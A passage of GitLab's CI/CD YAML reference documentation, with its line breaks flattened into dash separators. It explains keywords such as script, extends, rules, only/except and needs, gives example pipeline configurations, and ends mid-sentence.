Auto-DevOps.gitlab-ci.yml -``` - -All [nested includes](#nested-includes) are executed only with the permission of the user, -so it's possible to use project, remote or template includes. - -#### Nested includes - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56836) in GitLab 11.9. - -Use nested includes to compose a set of includes. - -You can have up to 100 includes, but you can't have duplicate includes. - -In [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/28212) and later, the time limit -to resolve all files is 30 seconds. - -#### Additional `includes` examples - -View [additional `includes` examples](includes.md). - -## Keyword details - -The following topics explain how to use keywords to configure CI/CD pipelines. - -### `image` - -Use `image` to specify [a Docker image](../docker/using_docker_images.md#what-is-an-image) to use for the job. - -For: - -- Usage examples, see [Define `image` in the `.gitlab-ci.yml` file](../docker/using_docker_images.md#define-image-in-the-gitlab-ciyml-file). -- Detailed usage information, refer to [Docker integration](../docker/index.md) documentation. - -#### `image:name` - -An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). - -For more information, see [Available settings for `image`](../docker/using_docker_images.md#available-settings-for-image). - -#### `image:entrypoint` - -An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). - -For more information, see [Available settings for `image`](../docker/using_docker_images.md#available-settings-for-image). - -#### `services` - -Use `services` to specify a [service Docker image](../services/index.md), linked to a base image specified in [`image`](#image). - -For: - -- Usage examples, see [Define `services` in the `.gitlab-ci.yml` file](../services/index.md#define-services-in-the-gitlab-ciyml-file). -- Detailed usage information, refer to [Docker integration](../docker/index.md) documentation. -- Example services, see [GitLab CI/CD Services](../services/index.md). - -##### `services:name` - -An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). - -For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services). - -##### `services:alias` - -An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). - -For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services). - -##### `services:entrypoint` - -An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). - -For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services). - -##### `services:command` - -An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). - -For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services). - -### `script` - -Use `script` to specify a shell script for the runner to execute. - -All jobs except [trigger jobs](#trigger) require a `script` keyword. - -For example: - -```yaml -job: - script: "bundle exec rspec" -``` - -You can use [YAML anchors with `script`](#yaml-anchors-for-scripts). - -The `script` keyword can also contain several commands in an array: - -```yaml -job: - script: - - uname -a - - bundle exec rspec -``` - -Sometimes, `script` commands must be wrapped in single or double quotes. -For example, commands that contain a colon (`:`) must be wrapped in single quotes (`'`). -The YAML parser needs to interpret the text as a string rather than -a "key: value" pair. - -For example, this script uses a colon: - -```yaml -job: - script: - - curl --request POST --header 'Content-Type: application/json' "https://gitlab/api/v4/projects" -``` - -To be considered valid YAML, you must wrap the entire command in single quotes. If -the command already uses single quotes, you should change them to double quotes (`"`) -if possible: - -```yaml -job: - script: - - 'curl --request POST --header "Content-Type: application/json" "https://gitlab/api/v4/projects"' -``` - -You can verify the syntax is valid with the [CI Lint](../lint.md) tool. - -Be careful when using these characters as well: - -- `{`, `}`, `[`, `]`, `,`, `&`, `*`, `#`, `?`, `|`, `-`, `<`, `>`, `=`, `!`, `%`, `@`, `` ` ``. - -If any of the script commands return an exit code other than zero, the job -fails and further commands are not executed. Store the exit code in a variable to -avoid this behavior: - -```yaml -job: - script: - - false || exit_code=$? - - if [ $exit_code -ne 0 ]; then echo "Previous command failed"; fi; -``` - -#### `before_script` - -Use `before_script` to define an array of commands that should run before each job, -but after [artifacts](#artifacts) are restored. - -Scripts you specify in `before_script` are concatenated with any scripts you specify -in the main [`script`](#script). The combine scripts execute together in a single shell. - -You can overwrite a globally-defined `before_script` if you define it in a job: - -```yaml -default: - before_script: - - echo "Execute this script in all jobs that don't already have a before_script section." - -job1: - script: - - echo "This script executes after the global before_script." - -job: - before_script: - - echo "Execute this script instead of the global before_script." - script: - - echo "This script executes after the job's `before_script`" -``` - -You can use [YAML anchors with `before_script`](#yaml-anchors-for-scripts). - -#### `after_script` - -Use `after_script` to define an array of commands that run after each job, -including failed jobs. - -If a job times out or is cancelled, the `after_script` commands do not execute. -An [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/15603) exists to support -executing `after_script` commands for timed-out or cancelled jobs. - -Scripts you specify in `after_script` execute in a new shell, separate from any -`before_script` or `script` scripts. As a result, they: - -- Have a current working directory set back to the default. -- Have no access to changes done by scripts defined in `before_script` or `script`, including: - - Command aliases and variables exported in `script` scripts. - - Changes outside of the working tree (depending on the runner executor), like - software installed by a `before_script` or `script` script. -- Have a separate timeout, which is hard coded to 5 minutes. See the - [related issue](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2716) for details. -- Don't affect the job's exit code. If the `script` section succeeds and the - `after_script` times out or fails, the job exits with code `0` (`Job Succeeded`). - -```yaml -default: - after_script: - - echo "Execute this script in all jobs that don't already have an after_script section." - -job1: - script: - - echo "This script executes first. When it completes, the global after_script executes." - -job: - script: - - echo "This script executes first. When it completes, the job's `after_script` executes." - after_script: - - echo "Execute this script instead of the global after_script." -``` - -You can use [YAML anchors with `after_script`](#yaml-anchors-for-scripts). - -#### Script syntax - -You can use syntax in [`script`](README.md#script) sections to: - -- [Split long commands](script.md#split-long-commands) into multiline commands. -- [Use color codes](script.md#add-color-codes-to-script-output) to make job logs easier to review. -- [Create custom collapsible sections](../jobs/index.md#custom-collapsible-sections) - to simplify job log output. - -### `stage` - -Use `stage` to define which stage a job runs in. Jobs in the same -`stage` can execute in parallel (subject to [certain conditions](#use-your-own-runners)). - -Jobs without a `stage` entry use the `test` stage by default. If you do not define -[`stages`](#stages) in the pipeline, you can use the 5 default stages, which execute in -this order: - -- [`.pre`](#pre-and-post) -- `build` -- `test` -- `deploy` -- [`.post`](#pre-and-post) -For example: - -```yaml -stages: - - build - - test - - deploy - -job 0: - stage: .pre - script: make something useful before build stage - -job 1: - stage: build - script: make build dependencies - -job 2: - stage: build - script: make build artifacts - -job 3: - stage: test - script: make test - -job 4: - stage: deploy - script: make deploy - -job 5: - stage: .post - script: make something useful at the end of pipeline -``` - -#### Use your own runners - -When you use your own runners, each runner runs only one job at a time by default. -Jobs can run in parallel if they run on different runners. - -If you have only one runner, jobs can run in parallel if the runner's -[`concurrent` setting](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section) -is greater than `1`. - -#### `.pre` and `.post` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31441) in GitLab 12.4. - -Use `pre` and `post` for jobs that need to run first or last in a pipeline. - -- `.pre` is guaranteed to always be the first stage in a pipeline. -- `.post` is guaranteed to always be the last stage in a pipeline. - -User-defined stages are executed after `.pre` and before `.post`. - -You must have a job in at least one stage other than `.pre` or `.post`. - -You can't change the order of `.pre` and `.post`, even if you define them out of order in the `.gitlab-ci.yml` file. -For example, the following configurations are equivalent: - -```yaml -stages: - - .pre - - a - - b - - .post -``` - -```yaml -stages: - - a - - .pre - - b - - .post -``` - -```yaml -stages: - - a - - b -``` - -### `extends` - -> Introduced in GitLab 11.3. - -Use `extends` to reuse configuration sections. It's an alternative to [YAML anchors](#anchors) -and is a little more flexible and readable. You can use `extends` to reuse configuration -from [included configuration files](#use-extends-and-include-together). - -In the following example, the `rspec` job uses the configuration from the `.tests` template job. -GitLab: - -- Performs a reverse deep merge based on the keys. -- Merges the `.tests` content with the `rspec` job. -- Doesn't merge the values of the keys. - -```yaml -.tests: - script: rake test - stage: test - only: - refs: - - branches - -rspec: - extends: .tests - script: rake rspec - only: - variables: - - $RSPEC -``` - -The result is this `rspec` job: - -```yaml -rspec: - script: rake rspec - stage: test - only: - refs: - - branches - variables: - - $RSPEC -``` - -`.tests` in this example is a [hidden job](#hide-jobs), but it's -possible to extend configuration from regular jobs as well. - -`extends` supports multi-level inheritance. You should avoid using more than three levels, -but you can use as many as eleven. The following example has two levels of inheritance: - -```yaml -.tests: - rules: - - if: $CI_PIPELINE_SOURCE == "push" - -.rspec: - extends: .tests - script: rake rspec - -rspec 1: - variables: - RSPEC_SUITE: '1' - extends: .rspec - -rspec 2: - variables: - RSPEC_SUITE: '2' - extends: .rspec - -spinach: - extends: .tests - script: rake spinach -``` - -In GitLab 12.0 and later, it's also possible to use multiple parents for -`extends`. - -#### Merge details - -You can use `extends` to merge hashes but not arrays. -The algorithm used for merge is "closest scope wins," so -keys from the last member always override anything defined on other -levels. For example: - -```yaml -.only-important: - variables: - URL: "http://my-url.internal" - IMPORTANT_VAR: "the details" - rules: - - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH - - if: $CI_COMMIT_BRANCH == "stable" - tags: - - production - script: - - echo "Hello world!" - -.in-docker: - variables: - URL: "http://docker-url.internal" - tags: - - docker - image: alpine - -rspec: - variables: - GITLAB: "is-awesome" - extends: - - .only-important - - .in-docker - script: - - rake rspec -``` - -The result is this `rspec` job: - -```yaml -rspec: - variables: - URL: "http://docker-url.internal" - IMPORTANT_VAR: "the details" - GITLAB: "is-awesome" - rules: - - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH - - if: $CI_COMMIT_BRANCH == "stable" - tags: - - docker - image: alpine - script: - - rake rspec -``` - -In this example: - -- The `variables` sections merge, but `URL: "http://docker-url.internal"` overwrites `URL: "http://my-url.internal"`. -- `tags: ['docker']` overwrites `tags: ['production']`. -- `script` does not merge, but `script: ['rake rspec']` overwrites - `script: ['echo "Hello world!"']`. You can use [YAML anchors](#anchors) to merge arrays. - -#### Use `extends` and `include` together - -To reuse configuration from different configuration files, -combine `extends` and [`include`](#include). - -In the following example, a `script` is defined in the `included.yml` file. -Then, in the `.gitlab-ci.yml` file, `extends` refers -to the contents of the `script`: - -- `included.yml`: - - ```yaml - .template: - script: - - echo Hello! - ``` - -- `.gitlab-ci.yml`: - - ```yaml - include: included.yml - - useTemplate: - image: alpine - extends: .template - ``` - -### `rules` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3. - -Use `rules` to include or exclude jobs in pipelines. - -Rules are evaluated *in order* until the first match. When a match is found, the job -is either included or excluded from the pipeline, depending on the configuration. - -`rules` replaces [`only/except`](#only--except) and they can't be used together -in the same job. If you configure one job to use both keywords, the GitLab returns -a `key may not be used with rules` error. - -`rules` accepts an array of rules defined with: - -- `if` -- `changes` -- `exists` -- `allow_failure` -- `variables` -- `when` - -You can combine multiple keywords together for [complex rules](../jobs/job_control.md#complex-rules). - -The job is added to the pipeline: - -- If an `if`, `changes`, or `exists` rule matches and also has `when: on_success` (default), - `when: delayed`, or `when: always`. -- If a rule is reached that is only `when: on_success`, `when: delayed`, or `when: always`. - -The job is not added to the pipeline: - -- If no rules match. -- If a rule matches and has `when: never`. - -#### `rules:if` - -Use `rules:if` clauses to specify when to add a job to a pipeline: - -- If an `if` statement is true, add the job to the pipeline. -- If an `if` statement is true, but it's combined with `when: never`, do not add the job to the pipeline. -- If no `if` statements are true, do not add the job to the pipeline. - -`if:` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md) -or [custom CI/CD variables](../variables/README.md#custom-cicd-variables). - -**Keyword type**: Job-specific and pipeline-specific. You can use it as part of a job -to configure the job behavior, or with [`workflow`](#workflow) to configure the pipeline behavior. - -**Possible inputs**: A [CI/CD variable expression](../jobs/job_control.md#cicd-variable-expressions). - -**Example of `rules:if`**: - -```yaml -job: - script: echo "Hello, Rules!" - rules: - - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME != $CI_DEFAULT_BRANCH' - when: never - - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/' - when: manual - allow_failure: true - - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' -``` - -**Additional details**: - -- If a rule matches and has no `when` defined, the rule uses the `when` - defined for the job, which defaults to `on_success` if not defined. -- You can define `when` once per rule, or once at the job-level, which applies to - all rules. You can't mix `when` at the job-level with `when` in rules. -- Unlike variables in [`script`](../variables/README.md#use-cicd-variables-in-job-scripts) - sections, variables in rules expressions are always formatted as `$VARIABLE`. - -**Related topics**: - -- [Common `if` expressions for `rules`](../jobs/job_control.md#common-if-clauses-for-rules). -- [Avoid duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines). - -#### `rules:changes` - -Use `rules:changes` to specify when to add a job to a pipeline by checking for changes -to specific files. - -WARNING: -You should use `rules: changes` only with **branch pipelines** or **merge request pipelines**. -You can use `rules: changes` with other pipeline types, but `rules: changes` always -evaluates to true when there is no Git `push` event. Tag pipelines, scheduled pipelines, -and so on do **not** have a Git `push` event associated with them. A `rules: changes` job -is **always** added to those pipelines if there is no `if:` that limits the job to -branch or merge request pipelines. - -**Keyword type**: Job keyword. You can use it only as part of a job. - -**Possible inputs**: An array of file paths. In GitLab 13.6 and later, -[file paths can include variables](../jobs/job_control.md#variables-in-ruleschanges). - -**Example of `rules:changes`**: - -```yaml -docker build: - script: docker build -t my-image:$CI_COMMIT_REF_SLUG . - rules: - - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' - changes: - - Dockerfile - when: manual - allow_failure: true -``` - -- If the pipeline is a merge request pipeline, check `Dockerfile` for changes. -- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and the pipeline - continues running even if the job is not triggered (`allow_failure: true`). -- If `Dockerfile` has not changed, do not add job to any pipeline (same as `when: never`). - -**Additional details**: - -- `rules: changes` works the same way as [`only: changes` and `except: changes`](#onlychanges--exceptchanges). -- You can use `when: never` to implement a rule similar to [`except:changes`](#onlychanges--exceptchanges). - -#### `rules:exists` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24021) in GitLab 12.4. - -Use `exists` to run a job when certain files exist in the repository. - -**Keyword type**: Job keyword. You can use it only as part of a job. - -**Possible inputs**: An array of file paths. Paths are relative to the project directory (`$CI_PROJECT_DIR`) -and can't directly link outside it. File paths can use glob patterns. - -**Example of `rules:exists`**: - -```yaml -job: - script: docker build -t my-image:$CI_COMMIT_REF_SLUG . - rules: - - exists: - - Dockerfile -``` - -`job` runs if a `Dockerfile` exists anywhere in the repository. - -**Additional details**: - -- Glob patterns are interpreted with Ruby [`File.fnmatch`](https://docs.ruby-lang.org/en/2.7.0/File.html#method-c-fnmatch) - with the flags `File::FNM_PATHNAME | File::FNM_DOTMATCH | File::FNM_EXTGLOB`. -- For performance reasons, GitLab matches a maximum of 10,000 `exists` patterns or - file paths. After the 10,000th check, rules with patterned globs always match. - In other words, the `exists` rule always assumes a match in projects with more - than 10,000 files. - -#### `rules:allow_failure` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30235) in GitLab 12.8. - -Use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail -without stopping the pipeline. - -You can also use `allow_failure: true` with a manual job. The pipeline continues -running without waiting for the result of the manual job. `allow_failure: false` -combined with `when: manual` in rules causes the pipeline to wait for the manual -job to run before continuing. - -**Keyword type**: Job keyword. You can use it only as part of a job. - -**Possible inputs**: `true` or `false`. Defaults to `false` if not defined. - -**Example of `rules:allow_failure`**: - -```yaml -job: - script: echo "Hello, Rules!" - rules: - - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == $CI_DEFAULT_BRANCH' - when: manual - allow_failure: true -``` - -If the rule matches, then the job is a manual job with `allow_failure: true`. - -**Additional details**: - -- The rule-level `rules:allow_failure` overrides the job-level [`allow_failure`](#allow_failure), - and only applies when the specific rule triggers the job. - -#### `rules:variables` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/209864) in GitLab 13.7. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/289803) in GitLab 13.10. - -Use [`variables`](#variables) in `rules:` to define variables for specific conditions. - -**Keyword type**: Job-specific. You can use it only as part of a job. - -**Possible inputs**: A hash of variables in the format `VARIABLE-NAME: value`. - -**Example of `rules:variables`**: - -```yaml -job: - variables: - DEPLOY_VARIABLE: "default-deploy" - rules: - - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH - variables: # Override DEPLOY_VARIABLE defined - DEPLOY_VARIABLE: "deploy-production" # at the job level. - - if: $CI_COMMIT_REF_NAME =~ /feature/ - variables: - IS_A_FEATURE: "true" # Define a new variable. - script: - - echo "Run script with $DEPLOY_VARIABLE as an argument" - - echo "Run another script if $IS_A_FEATURE exists" -``` - -### `only` / `except` - -NOTE: -`only` and `except` are not being actively developed. [`rules`](#rules) is the preferred -keyword to control when to add jobs to pipelines. - -You can use `only` and `except` to control when to add jobs to pipelines. - -- Use `only` to define when a job runs. -- Use `except` to define when a job **does not** run. - -Four keywords can be used with `only` and `except`: - -- [`refs`](#onlyrefs--exceptrefs) -- [`variables`](#onlyvariables--exceptvariables) -- [`changes`](#onlychanges--exceptchanges) -- [`kubernetes`](#onlykubernetes--exceptkubernetes) - -See [specify when jobs run with `only` and `except`](../jobs/job_control.md#specify-when-jobs-run-with-only-and-except) -for more details and examples. - -#### `only:refs` / `except:refs` - -Use the `only:refs` and `except:refs` keywords to control when to add jobs to a -pipeline based on branch names or pipeline types. - -**Keyword type**: Job keyword. You can use it only as part of a job. - -**Possible inputs**: An array including any number of: - -- Branch names, for example `main` or `my-feature-branch`. -- [Regular expressions](../jobs/job_control.md#only--except-regex-syntax) - that match against branch names, for example `/^feature-.*/`. -- The following keywords: - - | **Value** | **Description** | - | -------------------------|-----------------| - | `api` | For pipelines triggered by the [pipelines API](../../api/pipelines.md#create-a-new-pipeline). | - | `branches` | When the Git reference for a pipeline is a branch. | - | `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. | - | `external` | When you use CI services other than GitLab. | - | `external_pull_requests` | When an external pull request on GitHub is created or updated (See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests)). | - | `merge_requests` | For pipelines created when a merge request is created or updated. Enables [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). | - | `pipelines` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](#trigger) keyword. | - | `pushes` | For pipelines triggered by a `git push` event, including for branches and tags. | - | `schedules` | For [scheduled pipelines](../pipelines/schedules.md). | - | `tags` | When the Git reference for a pipeline is a tag. | - | `triggers` | For pipelines created by using a [trigger token](../triggers/README.md#trigger-token). | - | `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. | - -**Example of `only:refs` and `except:refs`**: - -```yaml -job1: - script: echo - only: - - main - - /^issue-.*$/ - - merge_requests - -job2: - script: echo - except: - - main - - /^stable-branch.*$/ - - schedules -``` - -**Additional details:** - -- Scheduled pipelines run on specific branches, so jobs configured with `only: branches` - run on scheduled pipelines too. Add `except: schedules` to prevent jobs with `only: branches` - from running on scheduled pipelines. -- `only` or `except` used without any other keywords are equivalent to `only: refs` - or `except: refs`. For example, the following two jobs configurations have the same - behavior: - - ```yaml - job1: - script: echo - only: - - branches - - job2: - script: echo - only: - refs: - - branches - ``` - -- If a job does not use `only`, `except`, or [`rules`](#rules), then `only` is set to `branches` - and `tags` by default. - - For example, `job1` and `job2` are equivalent: - - ```yaml - job1: - script: echo 'test' - - job2: - script: echo 'test' - only: - - branches - - tags - ``` - -#### `only:variables` / `except:variables` - -Use the `only:variables` or `except:variables` keywords to control when to add jobs -to a pipeline, based on the status of [CI/CD variables](../variables/README.md). - -**Keyword type**: Job keyword. You can use it only as part of a job. - -**Possible inputs**: An array of [CI/CD variable expressions](../jobs/job_control.md#cicd-variable-expressions). - -**Example of `only:variables`**: - -```yaml -deploy: - script: cap staging deploy - only: - variables: - - $RELEASE == "staging" - - $STAGING -``` - -**Related topics**: - -- [`only:variables` and `except:variables` examples](../jobs/job_control.md#only-variables--except-variables-examples). - -#### `only:changes` / `except:changes` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/19232) in GitLab 11.4. - -Use the `changes` keyword with `only` to run a job, or with `except` to skip a job, -when a Git push event modifies a file. - -Use `changes` in pipelines with the following refs: - -- `branches` -- `external_pull_requests` -- `merge_requests` (see additional details about [using `only:changes` with pipelines for merge requests](../jobs/job_control.md#use-onlychanges-with-pipelines-for-merge-requests)) - -**Keyword type**: Job keyword. You can use it only as part of a job. - -**Possible inputs**: An array including any number of: - -- Paths to files. -- Wildcard paths for single directories, for example `path/to/directory/*`, or a directory - and all its subdirectories, for example `path/to/directory/**/*`. -- Wildcard ([glob](https://en.wikipedia.org/wiki/Glob_(programming))) paths for all - files with the same extension or multiple extensions, for example `*.md` or `path/to/directory/*.{rb,py,sh}`. -- Wildcard paths to files in the root directory, or all directories, wrapped in double quotes. - For example `"*.json"` or `"**/*.json"`. - -**Example of `only:changes`**: - -```yaml -docker build: - script: docker build -t my-image:$CI_COMMIT_REF_SLUG . - only: - refs: - - branches - changes: - - Dockerfile - - docker/scripts/* - - dockerfiles/**/* - - more_scripts/*.{rb,py,sh} -``` - -**Additional details**: - -- If you use refs other than `branches`, `external_pull_requests`, or `merge_requests`, - `changes` can't determine if a given file is new or old and always returns `true`. -- If you use `only: changes` with other refs, jobs ignore the changes and always run. -- If you use `except: changes` with other refs, jobs ignore the changes and never run. - -**Related topics**: - -- [`only: changes` and `except: changes` examples](../jobs/job_control.md#onlychanges--exceptchanges-examples). -- If you use `changes` with [only allow merge requests to be merged if the pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds), - you should [also use `only:merge_requests`](../jobs/job_control.md#use-onlychanges-with-pipelines-for-merge-requests). -- Use `changes` with [new branches or tags *without* pipelines for merge requests](../jobs/job_control.md#use-onlychanges-without-pipelines-for-merge-requests). -- Use `changes` with [scheduled pipelines](../jobs/job_control.md#use-onlychanges-with-scheduled-pipelines). - -#### `only:kubernetes` / `except:kubernetes` - -Use `only:kubernetes` or `except:kubernetes` to control if jobs are added to the pipeline -when the Kubernetes service is active in the project. - -**Keyword type**: Job-specific. You can use it only as part of a job. - -**Possible inputs**: The `kubernetes` strategy accepts only the `active` keyword. - -**Example of `only:kubernetes`**: - -```yaml -deploy: - only: - kubernetes: active -``` - -In this example, the `deploy` job runs only when the Kubernetes service is active -in the project. - -### `needs` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47063) in GitLab 12.2. -> - In GitLab 12.3, maximum number of jobs in `needs` array raised from five to 50. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30631) in GitLab 12.8, `needs: []` lets jobs start immediately. - -Use `needs:` to execute jobs out-of-order. Relationships between jobs -that use `needs` can be visualized as a [directed acyclic graph](../directed_acyclic_graph/index.md). - -You can ignore stage ordering and run some jobs without waiting for others to complete. -Jobs in multiple stages can run concurrently. - -The following example creates four paths of execution: - -- Linter: the `lint` job runs immediately without waiting for the `build` stage - to complete because it has no needs (`needs: []`). -- Linux path: the `linux:rspec` and `linux:rubocop` jobs runs as soon as the `linux:build` - job finishes without waiting for `mac:build` to finish. -- macOS path: the `mac:rspec` and `mac:rubocop` jobs runs as soon as the `mac:build` - job finishes, without waiting for `linux:build` to finish. -- The `production` job runs as soon as all previous jobs finish; in this case: - `linux:build`, `linux:rspec`, `linux:rubocop`, `mac:build`, `mac:rspec`, `mac:rubocop`. - -```yaml -linux:build: - stage: build - -mac:build: - stage: build - -lint: - stage: test - needs: [] - -linux:rspec: - stage: test - needs: ["linux:build"] - -linux:rubocop: - stage: test - needs: ["linux:build"] - -mac:rspec: - stage: test - needs: ["mac:build"] - -mac:rubocop: - stage: test - needs: ["mac:build"] - -production: - stage: deploy -``` - -#### Requirements and limitations - -- In GitLab 13.9 and older, if `needs:` refers to a job that might not be added to - a pipeline because of `only`, `except`, or `rules`, the pipeline might fail to create. -- The maximum number of jobs that a single job can need in the `needs:` array is limited: - - For GitLab.com, the limit is 50. For more information, see our - [infrastructure issue](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7541). - - For self-managed instances, the limit is: 50. This limit [can be changed](#changing-the-needs-job-limit). -- If `needs:` refers to a job that uses the [`parallel`](#parallel) keyword, - it depends on all jobs created in parallel, not just one job. It also downloads - artifacts from all the parallel jobs by default. If the artifacts have the same - name, they overwrite each other and only the last one downloaded is saved. -- `needs:` is similar to `dependencies:` in that it must use jobs from prior stages, - meaning it's impossible to create circular dependencies. Depending on jobs in the - current stage is not possible either, but support [is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/30632). -- Stages must be explicitly defined for all jobs - that have the keyword `needs:` or are referred to by one. - -##### Changing the `needs:` job limit **(FREE SELF)** - -The maximum number of jobs that can be defined in `needs:` defaults to 50. - -A GitLab administrator with [access to the GitLab Rails console](../../administration/feature_flags.md) -can choose a custom limit. For example, to set the limit to 100: - -```ruby -Plan.default.actual_limits.update!(ci_needs_size_limit: 100) -``` - -To disable directed acyclic graphs (DAG), set the limit to `0`. - -#### Artifact downloads with `needs` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab v12.6. - -When a job uses `needs`, it no longer downloads all artifacts from previous stages -by default, because jobs with `needs` can start before earlier stages complete. With -`needs` you can only download artifacts from the jobs listed in the `needs:` configuration. - -Use `artifacts: true` (default) or `artifacts: false` to control when artifacts are -downloaded in jobs that use `needs`. - -In the following example, the `rspec` job downloads the `build_job` artifacts, but the -`rubocop` job does not: - -```yaml -build_job: - stage: build - artifacts: - paths: - - binaries/ - -rspec: - stage: test - needs: - - job: build_job - artifacts: true - -rubocop: - stage: test - needs: - - job: build_job - artifacts: false -``` - -In the following example, the `rspec` job downloads the artifacts from all three `build_jobs`. -`artifacts` is: - -- Set to true for `build_job_1`. -- Defaults to true for both `build_job_2` and `build_job_3`. - -```yaml -rspec: - needs: - - job: build_job_1 - artifacts: true - - job: build_job_2 - - build_job_3 -``` - -In GitLab 12.6 and later, you can't combine the [`dependencies`](#dependencies) keyword -with `needs`. - -#### Cross project artifact downloads with `needs` **(PREMIUM)** - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab v12.7. - -Use `needs` to download artifacts from up to five jobs in pipelines: - -- [On other refs in the same project](#artifact-downloads-between-pipelines-in-the-same-project). -- In different projects, groups and namespaces. - -```yaml -build_job: - stage: build - script: - - ls -lhR - needs: - - project: namespace/group/project-name - job: build-1 - ref: main - artifacts: true -``` - -`build_job` downloads the artifacts from the latest successful `build-1` job -on the `main` branch in the `group/project-name` project. If the project is in the -same group or namespace, you can omit them from the `project:` keyword. For example, -`project: group/project-name` or `project: project-name`. - -The user running the pipeline must have at least `reporter` access to the group or project, or the group/project must have public visibility. - -##### Artifact downloads between pipelines in the same project - -Use `needs` to download artifacts from different pipelines in the current project. -Set the `project` keyword as the current project's name, and specify a ref. - -In the following example, `build_job` downloads the artifacts for the latest successful -`build-1` job with the `other-ref` ref: - -```yaml -build_job: - stage: build - script: - - ls -lhR - needs: - - project: group/same-project-name - job: build-1 - ref: other-ref - artifacts: true -``` - -CI/CD variable support for `project:`, `job:`, and `ref` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202093) -in GitLab 13.3. [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235761) in GitLab 13.4. - -For example: - -```yaml -build_job: - stage: build - script: - - ls -lhR - needs: - - project: $CI_PROJECT_PATH - job: $DEPENDENCY_JOB_NAME - ref: $ARTIFACTS_DOWNLOAD_REF - artifacts: true -``` - -You can't download artifacts from jobs that run in [`parallel:`](#parallel). - -To download artifacts between [parent-child pipelines](../parent_child_pipelines.md), -use [`needs:pipeline`](#artifact-downloads-to-child-pipelines). - -You should not download artifacts from the same ref as a running pipeline. Concurrent -pipelines running on the same ref could override the artifacts. - -##### Artifact downloads to child pipelines - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/255983) in GitLab v13.7. - -A [child pipeline](../parent_child_pipelines.md) can download artifacts from a job in -its parent pipeline or another child pipeline in the same parent-child pipeline hierarchy. - -For example, with the following parent pipeline that has a job that creates some artifacts: - -```yaml -create-artifact: - stage: build - script: echo 'sample artifact' > artifact.txt - artifacts: - paths: [artifact.txt] - -child-pipeline: - stage: test - trigger: - include: child.yml - strategy: depend - variables: - PARENT_PIPELINE_ID: $CI_PIPELINE_ID -``` - -A job in the child pipeline can download artifacts from the `create-artifact` job in -the parent pipeline: - -```yaml -use-artifact: - script: cat artifact.txt - needs: - - pipeline: $PARENT_PIPELINE_ID - job: create-artifact -``` - -The `pipeline` attribute accepts a pipeline ID and it must be a pipeline present -in the same parent-child pipeline hierarchy of the given pipeline. - -The `pipeline` attribute does not accept the current pipeline ID (`$CI_PIPELINE_ID`). -To download artifacts from a job in the current pipeline, use the basic form of [`needs`](#artifact-downloads-with-needs). - -#### Optional `needs` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30680) in GitLab 13.10. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/323891) in GitLab 14.0. - -To need a job that sometimes does not exist in the pipeline, add `optional: true` -to the `needs` configuration. If not defined, `optional: false` is the default. - -Jobs that use [`rules`](#rules), [`only`, or `except`](#only--except), might -not always exist in a pipeline. When the pipeline starts, it checks the `needs` -relationships before running. Without `optional: true`, needs relationships that -point to a job that does not exist stops the pipeline from starting and causes a pipeline -error similar to: - -- 